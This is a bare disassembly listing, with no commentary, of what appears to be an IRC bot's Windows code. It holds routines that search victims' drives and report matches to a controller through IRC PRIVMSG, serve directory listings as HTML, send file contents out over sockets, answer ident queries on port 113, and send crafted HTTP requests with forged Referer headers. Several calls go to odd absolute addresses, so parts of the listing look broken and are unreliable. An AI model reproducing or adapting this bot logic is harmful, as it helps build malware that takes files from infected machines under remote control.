loc_4101E2:				; CODE XREF: sub_4100B4+121j
		cmp	[ebp+ebx+var_211], 5Ch
		jnz	short loc_4101EF
		mov	[ebp+var_4], esi


loc_4101EF:				; CODE XREF: sub_4100B4+136j
		mov	ebx, [ebp+arg_0]
		cmp	[ebp+var_4], edi
		mov	[ebp+var_6C4], ebx
		mov	[ebp+var_318], edi
		jz	short loc_41026D
		cmp	[ebp+arg_C], edi
		jz	short loc_410261
		lea	eax, [ebp+var_314]
		push	offset asc_434C80 ; "*"
		push	eax
		call	sub_41C8A0
		pop	ecx
		lea	eax, [ebp+var_314]
		pop	ecx
		push	eax
		lea	eax, [ebp+var_640]
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_210]
		push	eax
		call	sub_410AAE
		add	esp, 0Ch
		lea	eax, [ebp+var_210]
		push	eax
		lea	eax, [ebp+var_53C]
		push	eax
		call	sub_41C266
		or	[ebp+var_330], 0FFFFFFFFh
		pop	ecx
		pop	ecx
		mov	[ebp+var_31C], esi
		jmp	short loc_4102BC
; ---------------------------------------------------------------------------


loc_410261:				; CODE XREF: sub_4100B4+152j
		push	ebx


loc_410262:				; CODE XREF: sub_4100B4+126j
		call	dword_4CBA7C
		jmp	loc_410364
; ---------------------------------------------------------------------------


loc_41026D:				; CODE XREF: sub_4100B4+14Dj
		push	edi
		push	edi
		push	3
		push	edi
		push	esi
		lea	eax, [ebp+var_314]
		push	80000000h
		push	eax
		nop
		call	near ptr 2750765h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_4102BC
		lea	eax, [ebp+var_314]
		push	eax
		lea	eax, [ebp+var_640]
		push	eax
		call	sub_41C266
		pop	ecx
		mov	[ebp+var_31C], edi
		pop	ecx
		push	edi
		push	esi
		call	near ptr 2790ABEh
		nop
		push	esi
		mov	[ebp+var_330], eax
		call	near ptr 2680000h
		nop


loc_4102BC:				; CODE XREF: sub_4100B4+1ABj
					; sub_4100B4+1D6j
		mov	esi, [ebp+arg_10]
		lea	eax, [ebp+var_8C4]
		push	esi
		push	offset unk_434C4C
		push	eax
		call	sub_41C266
		push	edi
		lea	eax, [ebp+var_8C4]
		push	3
		push	eax
		call	sub_40B3BA
		mov	[ebp+var_32C], eax
		imul	eax, 234h
		add	esp, 18h
		mov	dword_43E924[eax], esi
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_6C4]
		push	edi
		push	eax
		push	offset sub_40FF31
		push	edi
		push	edi
		call	near ptr 26A04CCh
		nop
		mov	ecx, [ebp+var_32C]
		imul	ecx, 234h
		cmp	eax, edi
		mov	dword_43E934[ecx], eax
		jz	short loc_410336


loc_410324:				; CODE XREF: sub_4100B4+280j
		cmp	[ebp+var_318], edi
		jnz	short loc_410364
		push	5
		nop
		call	near ptr 26A0475h
		jmp	short loc_410324
; ---------------------------------------------------------------------------


loc_410336:				; CODE XREF: sub_4100B4+26Ej
		push	ebx
		call	dword_4CBA7C
		call	near ptr 26A0CACh
		nop
		push	eax
		lea	eax, [ebp+var_8C4]
		push	offset unk_434C14
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_8C4]
		push	eax
		call	sub_415D38
		add	esp, 10h


loc_410364:				; CODE XREF: sub_4100B4+1B4j
					; sub_4100B4+276j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn
sub_4100B4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41036B	proc near		; CODE XREF: sub_401ACD+75E3p
					; sub_40FF31+15Ap

var_594		= byte ptr -594h
var_490		= byte ptr -490h
var_388		= dword	ptr -388h
var_374		= byte ptr -374h
var_368		= dword	ptr -368h
var_35C		= byte ptr -35Ch
var_248		= byte ptr -248h
var_48		= byte ptr -48h
var_20		= byte ptr -20h
var_18		= word ptr -18h
var_16		= word ptr -16h
var_12		= word ptr -12h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 594h
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	104h
		lea	eax, [ebp+var_594]
		push	ebx
		push	eax
		mov	[ebp+var_4], ebx
		mov	[ebp+var_8], ebx
		call	sub_41BF70
		mov	edi, [ebp+arg_0]
		push	offset asc_42A088 ; "\n"
		push	edi
		call	sub_41CAD4
		add	esp, 14h
		cmp	[ebp+arg_8], ebx
		jz	short loc_4103CA
		push	edi
		mov	esi, 200h
		push	[ebp+arg_8]
		lea	eax, [ebp+var_248]
		push	offset aPrivmsgSSearch ; "PRIVMSG %s :Searching	for: %s\r\n"
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 14h
		jmp	loc_4104C9
; ---------------------------------------------------------------------------


loc_4103CA:				; CODE XREF: sub_41036B+3Aj
		cmp	[ebp+arg_C], ebx
		push	edi
		jz	loc_4104AF
		call	sub_41B9C0
		pop	ecx
		mov	[eax+edi-1], bl
		push	edi
		mov	esi, 200h
		push	offset aHtmlHeadTitleI ; "<HTML>\r\n<HEAD>\r\n<TITLE>Index of %s</TIT"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CBA34
		push	edi
		push	offset aH1IndexOfSH1Ta ; "<H1>Index of %s</H1>\r\n<TABLE BORDER=\"0\""...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CBA34
		push	edi
		call	sub_41B9C0
		pop	ecx
		mov	byte ptr [eax+edi], 2Ah
		push	3Ch
		push	96h
		push	0E6h
		push	offset aTrTdWidthDCode ; "<TR>\r\n<TD WIDTH=\"%d\"><CODE>Name</CODE><"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 18h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CBA34
		push	offset aTrTdColspan3Hr ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 0Ch
		jmp	short loc_4104C9
; ---------------------------------------------------------------------------


loc_4104AF:				; CODE XREF: sub_41036B+63j
		mov	esi, 200h
		push	offset aSearchingForS ;	"Searching for:	%s\r\n"
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 10h


loc_4104C9:				; CODE XREF: sub_41036B+5Aj
					; sub_41036B+142j
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CBA34
		cmp	[ebp+arg_C], ebx
		jz	short loc_410564
		push	[ebp+arg_C]
		call	sub_41B9C0
		cmp	eax, 2
		pop	ecx
		jbe	short loc_410564
		push	[ebp+arg_C]
		call	sub_41B9C0
		sub	eax, 3
		pop	ecx
		jz	short loc_410515


loc_410509:				; CODE XREF: sub_41036B+1A8j
		mov	ecx, [ebp+arg_C]
		cmp	byte ptr [eax+ecx], 2Fh
		jz	short loc_410515
		dec	eax
		jnz	short loc_410509


loc_410515:				; CODE XREF: sub_41036B+19Cj
					; sub_41036B+1A5j
		inc	eax
		push	eax
		lea	eax, [ebp+var_594]
		push	[ebp+arg_C]
		push	eax
		call	sub_41BFD0
		add	esp, 0Ch
		lea	eax, [ebp+var_594]
		push	eax
		push	offset aTrTdColspan3AH ; "<TR>\r\n<TD COLSPAN=\"3\"><A HREF=\"%s\"><COD"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CBA34


loc_410564:				; CODE XREF: sub_41036B+180j
					; sub_41036B+18Ej
		lea	eax, [ebp+var_388]
		push	eax
		push	edi
		nop
		call	near ptr 27C0000h
		lea	ecx, [ebp+var_388]
		mov	[ebp+arg_0], eax
		push	ecx
		push	eax
		nop
		call	near ptr 27B0000h
		test	eax, eax
		jz	loc_410954
		mov	edi, 1FFh


loc_410590:				; CODE XREF: sub_41036B+5E3j
		cmp	[ebp+var_388], ebx
		jz	loc_41093C
		lea	eax, [ebp+var_35C]
		push	offset a__	; ".."
		push	eax
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41093C
		lea	eax, [ebp+var_35C]
		push	offset a_	; "."
		push	eax
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41093C
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_374]
		push	eax
		nop
		call	near ptr 27A06C8h
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		nop
		call	near ptr 27A0000h
		mov	ax, [ebp+var_10]
		mov	ecx, offset aPm	; "PM"
		cmp	ax, 0Ch
		ja	short loc_410605
		mov	ecx, offset aAm	; "AM"


loc_410605:				; CODE XREF: sub_41036B+293j
		cmp	ax, 0Ch
		movzx	eax, ax
		jbe	short loc_410611
		sub	eax, 0Ch


loc_410611:				; CODE XREF: sub_41036B+2A1j
		push	ecx
		movzx	ecx, [ebp+var_E]
		push	ecx
		push	eax
		movzx	eax, [ebp+var_18]
		push	eax
		movzx	eax, [ebp+var_12]
		push	eax
		movzx	eax, [ebp+var_16]
		push	eax
		lea	eax, [ebp+var_48]
		push	offset a2_2d2_2d4d2_2d ; "%2.2d/%2.2d/%4d  %2.2d:%2.2d %s"
		push	eax
		call	sub_41C266
		add	esp, 20h
		test	byte ptr [ebp+var_388],	10h
		jz	loc_4107B4
		inc	[ebp+var_8]
		cmp	[ebp+arg_8], ebx
		jz	short loc_410685
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset aS	; "<%s>"
		lea	eax, [ebp+var_490]
		push	106h
		push	eax
		call	sub_41C360
		add	esp, 10h
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_490]
		push	eax
		push	[ebp+arg_8]
		push	offset aPrivmsgS31s21s ; "PRIVMSG %s :%-31s  %-21s\n"
		jmp	loc_4108FD
; ---------------------------------------------------------------------------


loc_410685:				; CODE XREF: sub_41036B+2E0j
		cmp	[ebp+arg_C], ebx
		jz	loc_41076F
		push	0E6h
		push	offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41C360
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CBA34
		lea	eax, [ebp+var_35C]
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_C]
		push	offset aSS_0	; "%s%s/"
		push	edi
		push	eax
		call	sub_41C360
		add	esp, 14h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CBA34
		lea	eax, [ebp+var_35C]
		push	eax
		call	sub_41B9C0
		cmp	eax, 1Eh
		pop	ecx
		lea	eax, [ebp+var_35C]
		push	eax
		jbe	short loc_410725
		push	offset aCode_29sGtCode ; "\"><CODE>%.29s>/</CODE></A>"
		jmp	short loc_41072A
; ---------------------------------------------------------------------------


loc_410725:				; CODE XREF: sub_41036B+3B1j
		push	offset aCodeSCodeA ; "\"><CODE>%s/</CODE></A>"


loc_41072A:				; CODE XREF: sub_41036B+3B8j
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41C360
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CBA34
		lea	eax, [ebp+var_48]
		push	3Ch
		push	eax
		push	96h
		push	offset aTdTdWidthDCode ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
		push	edi
		jmp	loc_4108FE
; ---------------------------------------------------------------------------


loc_41076F:				; CODE XREF: sub_41036B+31Dj
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset aS	; "<%s>"
		lea	eax, [ebp+var_490]
		push	106h
		push	eax
		call	sub_41C360
		add	esp, 10h
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_490]
		push	eax
		push	offset a31s21s	; "%-31s  %-21s\r\n"
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 14h
		jmp	loc_41090D
; ---------------------------------------------------------------------------


loc_4107B4:				; CODE XREF: sub_41036B+2D4j
		inc	[ebp+var_4]
		cmp	[ebp+arg_8], ebx
		jz	short loc_4107F3
		push	ebx
		push	[ebp+var_368]
		call	sub_416CC9
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_35C]
		push	eax
		push	[ebp+arg_8]
		push	offset aPrivmsgS31s2_0 ; "PRIVMSG %s :%-31s  %-21s (%s bytes)\n"
		push	esi


loc_4107DF:				; CODE XREF: sub_41036B+577j
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_41C360
		add	esp, 1Ch
		jmp	loc_41090D
; ---------------------------------------------------------------------------


loc_4107F3:				; CODE XREF: sub_41036B+44Fj
		cmp	[ebp+arg_C], ebx
		jz	loc_4108E7
		push	0E6h
		push	offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41C360
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CBA34
		lea	eax, [ebp+var_35C]
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_C]
		push	offset dword_429AD0
		push	edi
		push	eax
		call	sub_41C360
		add	esp, 14h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CBA34
		lea	eax, [ebp+var_35C]
		push	eax
		call	sub_41B9C0
		cmp	eax, 1Fh
		pop	ecx
		lea	eax, [ebp+var_35C]
		push	eax
		jbe	short loc_410893
		push	offset aCode_30sGtCode ; "\"><CODE>%.30s></CODE></A>"
		jmp	short loc_410898
; ---------------------------------------------------------------------------


loc_410893:				; CODE XREF: sub_41036B+51Fj
		push	offset aCodeSCodeA_0 ; "\"><CODE>%s</CODE></A>"


loc_410898:				; CODE XREF: sub_41036B+526j
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41C360
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CBA34
		mov	eax, [ebp+var_368]
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp+var_48]
		push	3Ch
		push	eax
		push	96h
		push	offset aTdTdWidthDCo_0 ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
		push	edi
		jmp	loc_4107DF
; ---------------------------------------------------------------------------


loc_4108E7:				; CODE XREF: sub_41036B+48Bj
		push	[ebp+var_368]
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset a31s21sIBytes ; "%-31s  %-21s (%i bytes)\r\n"


loc_4108FD:				; CODE XREF: sub_41036B+315j
		push	esi


loc_4108FE:				; CODE XREF: sub_41036B+3FFj
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_41C360
		add	esp, 18h


loc_41090D:				; CODE XREF: sub_41036B+444j
					; sub_41036B+483j
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CBA34
		cmp	[ebp+arg_8], ebx
		jz	short loc_41093C
		push	7D0h
		nop
		call	near ptr 26A0475h


loc_41093C:				; CODE XREF: sub_41036B+22Bj
					; sub_41036B+246j ...
		lea	eax, [ebp+var_388]
		push	eax
		push	[ebp+arg_0]
		nop
		call	near ptr 27B0000h
		test	eax, eax
		jnz	loc_410590


loc_410954:				; CODE XREF: sub_41036B+21Aj
		push	[ebp+arg_0]
		nop
		call	near ptr 25F0000h
		cmp	[ebp+arg_8], ebx
		jz	short loc_410997
		mov	eax, [ebp+var_8]
		cdq
		push	edx
		push	eax
		call	sub_416CC9
		pop	ecx
		pop	ecx
		push	eax
		mov	eax, [ebp+var_4]
		cdq
		push	edx
		push	eax
		call	sub_416CC9
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_8]
		push	offset aPrivmsgSFoundS ; "PRIVMSG %s :Found %s Files and %s Direc"...
		push	eax
		call	sub_41C266
		add	esp, 14h
		jmp	short loc_4109CB
; ---------------------------------------------------------------------------


loc_410997:				; CODE XREF: sub_41036B+5F5j
		cmp	[ebp+arg_C], ebx
		jz	short loc_4109B1
		lea	eax, [ebp+var_248]
		push	offset aTrTdColspan3_0 ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx
		jmp	short loc_4109CB
; ---------------------------------------------------------------------------


loc_4109B1:				; CODE XREF: sub_41036B+62Fj
		push	[ebp+var_8]
		lea	eax, [ebp+var_248]
		push	[ebp+var_4]
		push	offset aFoundIFilesAnd ; "Found: %i Files and %i Directories\r\n"
		push	eax
		call	sub_41C266
		add	esp, 10h


loc_4109CB:				; CODE XREF: sub_41036B+62Aj
					; sub_41036B+644j
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CBA34
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn
sub_41036B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4109F1	proc near		; CODE XREF: sub_40FF31+13Cp

var_404		= byte ptr -404h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 404h
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		push	esi
		push	esi
		push	3
		push	esi
		push	1
		push	80000000h
		push	[ebp+arg_4]
		mov	edi, 400h
		mov	[ebp+var_4], esi
		call	near ptr 2750765h
		nop
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_410AA9
		push	esi
		push	ebx
		nop
		call	near ptr 2790ABEh
		cmp	eax, esi
		mov	[ebp+arg_4], eax
		jz	short loc_410AA2


loc_410A36:				; CODE XREF: sub_4109F1+AFj
		push	400h
		lea	eax, [ebp+var_404]
		push	esi
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		cmp	edi, [ebp+arg_4]
		jbe	short loc_410A53
		mov	edi, [ebp+arg_4]


loc_410A53:				; CODE XREF: sub_4109F1+5Dj
		mov	eax, [ebp+arg_4]
		push	2
		neg	eax
		push	esi
		push	eax
		push	ebx
		nop
		call	near ptr 27D0000h
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		lea	eax, [ebp+var_404]
		push	edi
		push	eax
		push	ebx
		call	near ptr 2730000h
		nop
		push	esi
		lea	eax, [ebp+var_404]
		push	edi
		push	eax
		push	[ebp+arg_0]
		call	dword_4CBA34
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_410A9D
		call	dword_4CB978
		cmp	eax, 2733h
		jnz	short loc_410AA2
		xor	eax, eax


loc_410A9D:				; CODE XREF: sub_4109F1+9Bj
		sub	[ebp+arg_4], eax
		jnz	short loc_410A36


loc_410AA2:				; CODE XREF: sub_4109F1+43j
					; sub_4109F1+A8j
		push	ebx
		nop
		call	near ptr 2680000h


loc_410AA9:				; CODE XREF: sub_4109F1+30j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4109F1	endp


; =============== S U B	R O U T	I N E =======================================



sub_410AAE	proc near		; CODE XREF: sub_4100B4+181p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		xor	esi, esi
		push	edi
		call	sub_41B9C0
		test	eax, eax
		pop	ecx
		jbe	short loc_410AD7


loc_410AC1:				; CODE XREF: sub_410AAE+27j
		cmp	byte ptr [esi+edi], 5Ch
		jnz	short loc_410ACB
		mov	byte ptr [esi+edi], 2Fh


loc_410ACB:				; CODE XREF: sub_410AAE+17j
		push	edi
		inc	esi
		call	sub_41B9C0
		cmp	esi, eax
		pop	ecx
		jb	short loc_410AC1


loc_410AD7:				; CODE XREF: sub_410AAE+11j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_410AAE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410ADC	proc near		; CODE XREF: sub_401ACD+51B7p

var_4A0		= byte ptr -4A0h
var_310		= byte ptr -310h
var_110		= byte ptr -110h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 4A0h
		push	ebx
		lea	eax, [ebp+var_4A0]
		push	edi
		push	eax
		push	101h
		call	dword_4CB954
		push	6
		push	1
		push	2
		call	dword_4CBA64
		mov	ebx, eax
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+arg_14]
		call	dword_4CB9E4
		push	[ebp+arg_10]
		mov	[ebp+var_E], ax
		call	sub_40A8F0
		pop	ecx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		call	dword_4CB98C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_410BB9
		mov	eax, [ebp+arg_20]
		cmp	eax, edi
		jnz	short loc_410B55
		mov	eax, offset byte_43DB98


loc_410B55:				; CODE XREF: sub_410ADC+72j
		push	esi
		mov	esi, 100h
		push	[ebp+arg_10]
		push	eax
		lea	eax, [ebp+var_110]
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	offset aSSHttp1_1Refer ; "%s %s	HTTP/1.1\nReferer: %s\nHost: %s\nCon"...
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 1Ch
		lea	eax, [ebp+var_110]
		push	edi
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_110]
		push	eax
		push	ebx
		call	dword_4CBA34
		push	esi
		lea	eax, [ebp+var_110]
		push	edi
		push	eax
		call	sub_41CD20
		add	esp, 0Ch
		lea	eax, [ebp+var_110]
		push	edi
		push	esi
		push	eax
		push	ebx
		call	dword_4CB9FC
		pop	esi


loc_410BB9:				; CODE XREF: sub_410ADC+6Bj
		push	ebx
		call	dword_4CBA7C
		call	dword_4CB93C
		lea	eax, [ebp+var_110]
		push	eax
		lea	eax, [ebp+var_310]
		push	eax
		call	sub_41C266
		cmp	[ebp+arg_C], edi
		pop	ecx
		pop	ecx
		jnz	short loc_410BF9
		push	edi
		lea	eax, [ebp+var_310]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 14h


loc_410BF9:				; CODE XREF: sub_410ADC+102j
		pop	edi
		pop	ebx
		leave
		retn
sub_410ADC	endp

; ---------------------------------------------------------------------------


loc_410BFD:				; DATA XREF: ___:00401666o
					; sub_401ACD+438Bo
		push	ebp
		mov	ebp, esp
		sub	esp, 238h
		push	ebx
		push	esi
		push	edi
		push	10h
		pop	edi
		xor	esi, esi
		push	edi
		lea	eax, [ebp-1Ch]
		push	esi
		push	eax
		mov	[ebp-8], esi
		call	sub_41BF70
		add	esp, 0Ch
		mov	word ptr [ebp-1Ch], 2
		push	71h
		call	dword_4CB9E4
		push	esi
		push	1
		push	2
		mov	[ebp-1Ah], ax
		mov	[ebp-18h], esi
		call	dword_4CBA64
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_410D61
		mov	eax, [ebp+8]
		push	edi
		imul	eax, 234h
		mov	dword_43E92C[eax], ebx
		lea	eax, [ebp-1Ch]
		push	eax
		push	ebx
		call	dword_4CBA10
		cmp	eax, 0FFFFFFFFh
		jz	loc_410D61
		push	5
		push	ebx
		call	dword_4CBA0C
		cmp	eax, 0FFFFFFFFh
		jz	loc_410D61
		mov	[ebp-0Ch], edi
		mov	edi, 200h


loc_410C88:				; CODE XREF: ___:00410CE7j
					; ___:00410D4Aj ...
		lea	eax, [ebp-0Ch]
		push	eax
		lea	eax, [ebp-2Ch]
		push	eax
		push	ebx
		call	dword_4CBA78
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-4], eax
		jz	loc_410D5C
		movzx	eax, word ptr [ebp-2Ah]
		push	eax
		push	dword ptr [ebp-28h]
		call	dword_4CBA70
		push	eax
		lea	eax, [ebp-238h]
		push	offset dword_43516C
		push	eax
		call	sub_41C266
		lea	eax, [ebp-238h]
		push	eax
		call	sub_415D38
		add	esp, 14h
		lea	eax, [ebp-238h]
		push	esi
		push	edi
		push	eax
		push	dword ptr [ebp-4]
		call	dword_4CB9FC
		cmp	eax, 0FFFFFFFFh
		jz	short loc_410C88
		lea	eax, [ebp-238h]
		push	esi
		push	eax
		call	sub_4184CC
		push	0Ch
		lea	eax, [ebp-38h]
		push	esi
		push	eax
		call	sub_41BF70
		push	esi
		push	esi
		lea	eax, [ebp-38h]
		push	2
		push	eax
		call	sub_40AE84
		add	esp, 24h
		push	eax
		push	offset aUseridUnixS ; "	: USERID : UNIX	: %s\r\n"
		lea	eax, [ebp-238h]
		push	edi
		push	eax
		call	sub_41C360
		add	esp, 10h
		lea	eax, [ebp-238h]
		push	esi
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp-238h]
		push	eax
		push	dword ptr [ebp-4]
		call	dword_4CBA34
		cmp	eax, 0FFFFFFFFh
		jz	loc_410C88
		mov	dword ptr [ebp-8], 1
		jmp	loc_410C88
; ---------------------------------------------------------------------------


loc_410D5C:				; CODE XREF: ___:00410C9Dj
		cmp	[ebp-8], esi
		jnz	short loc_410D88


loc_410D61:				; CODE XREF: ___:00410C44j
					; ___:00410C68j ...
		call	dword_4CB978
		push	eax
		lea	eax, [ebp-238h]
		push	offset dword_435128
		push	eax
		call	sub_41C266
		lea	eax, [ebp-238h]
		push	eax
		call	sub_415D38
		add	esp, 10h


loc_410D88:				; CODE XREF: ___:00410D5Fj
		push	ebx
		call	dword_4CBA7C
		push	dword ptr [ebp-4]
		call	dword_4CBA7C
		push	dword ptr [ebp+8]
		call	sub_40B6D6
		pop	ecx
		push	esi
		nop
		call	near ptr 2710000h
		pop	edi
		pop	esi
		pop	ebx


loc_410DAB:				; DATA XREF: sub_401ACD+605Do
		push	ebp
		mov	ebp, esp
		sub	esp, 350h
		mov	eax, [ebp+8]
		push	esi
		push	edi
		push	4Ah
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp-150h]
		push	10h
		rep movsd
		pop	edi
		mov	dword ptr [eax+120h], 1
		xor	esi, esi
		push	edi
		lea	eax, [ebp-14h]
		push	esi
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		mov	word ptr [ebp-14h], 2
		push	dword ptr [ebp-44h]
		call	dword_4CB9E4
		push	6
		push	1
		push	2
		mov	[ebp-12h], ax
		mov	[ebp-10h], esi
		mov	[ebp-4], edi
		call	dword_4CBA64
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+8], eax
		jz	loc_410F17
		mov	ecx, [ebp-40h]
		push	1
		imul	ecx, 234h
		push	401h
		push	esi
		push	eax
		mov	dword_43E92C[ecx], eax
		call	dword_4CB8F4
		lea	eax, [ebp-14h]
		push	edi
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CBA10
		test	eax, eax
		jnz	loc_410F17
		push	0Ah
		push	dword ptr [ebp+8]
		call	dword_4CBA0C
		test	eax, eax
		jnz	loc_410F17


loc_410E5B:				; CODE XREF: ___:00410E71j
		lea	eax, [ebp-4]
		push	eax
		lea	eax, [ebp-28h]
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CBA78
